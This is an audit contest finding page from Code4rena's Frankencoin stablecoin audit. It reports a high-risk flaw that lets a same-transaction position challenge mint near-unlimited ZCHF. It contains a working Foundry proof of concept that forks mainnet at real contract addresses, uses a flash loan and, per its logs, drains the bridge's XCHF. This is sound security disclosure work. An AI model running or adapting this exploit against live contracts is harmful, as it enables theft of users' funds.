Frankencoin - vakzz's results

A decentralized and fully collateralized stablecoin.

General Information

Platform: Code4rena

Start Date: 12/04/2023

Pot Size: $60,500 USDC

Total HM: 21

Participants: 199

Period: 7 days

Judge: hansfriese

Total Solo HM: 5

Id: 231

League: ETH

Frankencoin

Findings Distribution

Researcher Performance

Rank: 93/199

Findings: 1

Award: $35.06

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

Awards

35.0635 USDC - $35.06

Labels

bug
3 (High Risk)
high quality report
satisfactory
duplicate-458

External Links

Lines of code

https://github.com/code-423n4/2023-04-frankencoin/blob/e13bce4f0f9756d0e6145ad2d1992494f983dce5/contracts/MintingHub.sol#L140-L147

Vulnerability details

Impact

It is possible to open a new position and successfully challenge it within the same transaction, creating a huge volume of ZCHF without anyone being able to bid by doing the following

  1. Create a new position with an initial collateral amount of 1, a challenge period of 0 and a huge price (such as type(uint).max)
  2. Challenge the new position with a collateral amount of 2
  3. End the challenge without bidding

This will end up calling notifyChallengeSucceeded with a bid of 0 and size of 2.

function notifyChallengeSucceeded(address _bidder, uint256 _bid, uint256 _size) external onlyHub returns (address, uint256, uint256, uint256, uint32) {
        challengedAmount -= _size;
        uint256 colBal = collateralBalance();
        if (_size > colBal){
            _bid = _divD18(_mulD18(_bid, colBal), _size);
            _size = colBal;
        }

        uint256 volumeZCHF = _mulD18(price, _size); // How much could have minted with the challenged amount of the collateral
        uint256 repayment = minted < volumeZCHF ? minted : volumeZCHF; // how much must be burned to make things even

        notifyRepaidInternal(repayment); // we assume the caller takes care of the actual repayment
        internalWithdrawCollateral(_bidder, _size); // transfer collateral to the bidder and emit update
        return (owner, _bid, volumeZCHF, repayment, reserveContribution);
    }

This will cause _size to be reset to one as it is greater than the collateral balance, and volumeZCHF to be calculated with _mulD18(price, _size). Since we set the prices to be type(uint).max this will end up being huge. The repayment will end up as 0 since volumeZCHF is greater than minted (which is 0).

The huge volume return from notifyChallengeSucceeded is then used to calculate the reward:

        uint256 reward = (volume * CHALLENGER_REWARD) / 1000_000;
        uint256 fundsNeeded = reward + repayment;
        if (effectiveBid > fundsNeeded){
            zchf.transfer(owner, effectiveBid - fundsNeeded);
        } else if (effectiveBid < fundsNeeded){
            zchf.notifyLoss(fundsNeeded - effectiveBid); // ensure we have enough to pay everything
        }
        zchf.transfer(challenge.challenger, reward); // pay out the challenger reward

Which ends up being ((2**256-1) / 10**18 * 20000 / 1000000) == 2315841784746323908471419700173758157065399693312811280789. This huge amount is then minted via zchf.notifyLoss and transferred to the challenger who can swap it for XCHF via the bridge.

Proof of Concept

Here's a forge test that forks mainnet to show how this could be used to drain all the XCHF from the bridge:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../contracts/Equity.sol";
import "../contracts/test/TestToken.sol";
import "../contracts/MintingHub.sol";
import "../contracts/PositionFactory.sol";
import "../contracts/StablecoinBridge.sol";
import "forge-std/Test.sol";

interface IUniswapV3Pool {
    function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;
}

contract UnlimitedMintTest is Test {
    MintingHub hub;
    StablecoinBridge swap;

    IERC20 xchf;
    TestToken col;
    IFrankencoin zchf;
    IUniswapV3Pool pool;

    constructor() {
        vm.createSelectFork(vm.envString("RPC_URL"), 17044880);

        zchf = Frankencoin(0x7a787023f6E18f979B143C79885323a24709B0d8);
        xchf = IERC20(0xB4272071eCAdd69d933AdcD19cA99fe80664fc08);
        swap = StablecoinBridge(0x4125cD1F826099A4DEaD6b7746F7F28B30d8402B);
        hub = MintingHub(0x0E5Dfe570E5637f7b6B43f515b30dD08FBFCb9ea);
        col = new TestToken("Hacked Collateral", "HACK", uint8(0));

        pool = IUniswapV3Pool(0x4858411a69af3351ED7d448A0d65C6146C11C218);
    }

    function testUnlimitedMint() public {
        emit log_named_uint("swap xchf bal", xchf.balanceOf(address(swap)));
        emit log_named_uint("this col bal", col.balanceOf(address(this)));
        emit log_named_uint("this xchf bal", xchf.balanceOf(address(this)));
        emit log_named_uint("this zchf bal", zchf.balanceOf(address(this)));

        pool.flash(address(this), 1000 ether, 0, "");

        emit log_named_uint("swap xchf bal", xchf.balanceOf(address(swap)));
        emit log_named_uint("this col bal", col.balanceOf(address(this)));
        emit log_named_uint("this xchf bal", xchf.balanceOf(address(this)));
        emit log_named_uint("this zchf bal", zchf.balanceOf(address(this)));
    }

    function uniswapV3FlashCallback(
        uint256 fee0,
        uint256 fee1,
        bytes calldata data
    ) external {
        require(msg.sender == address(pool), "not pool");

        uint amount = 1000 ether;
        col.mint(address(this), 3);
        col.approve(address(hub), 3);

        xchf.approve(address(swap), amount);
        swap.mint(amount);

        address posAddr = hub.openPosition(address(col), 0, 1, type(uint).max, 3 days, 0, 0, 0, type(uint).max, 0);

        uint challId = hub.launchChallenge(posAddr, 2);
        hub.end(challId);

        swap.burn(xchf.balanceOf(address(swap)));

        xchf.transfer(address(pool), amount + fee0);
    }
}

Set the RPC_URL environment variable to a local fork (or alchemy rpc) and run the poc with forge test -m testUnlimitedMint -vv

✗ forge test -m testUnlimitedMint -vv  
No files changed, compilation skipped

Running 1 test for test/HackTest.t.sol:UnlimitedMintTest
[PASS] testUnlimitedMint() (gas: 2031624)
Logs:
  swap xchf bal: 100000000000000000000000
  this col bal: 0
  this xchf bal: 0
  this zchf bal: 0
  swap xchf bal: 0
  this col bal: 3
  this xchf bal: 99997000000000000000000
  this zchf bal: 2315841784746323908471419700173758056065399693312811280789

Test result: ok. 1 passed; 0 failed; finished in 1.17s

You can run the test with -vvvv for a more verbose output showing the events and method calls.

Tools Used

Forge, IntelliJ, Alchemy

  • A challenge should not be able to be immediately ended
  • A challenge should not be able to be ended with no bids?

#0 - c4-pre-sort

2023-04-26T14:07:55Z

0xA5DF marked the issue as duplicate of #458

#1 - c4-pre-sort

2023-04-26T14:08:01Z

0xA5DF marked the issue as high quality report

#2 - c4-judge

2023-05-18T14:45:30Z

hansfriese marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter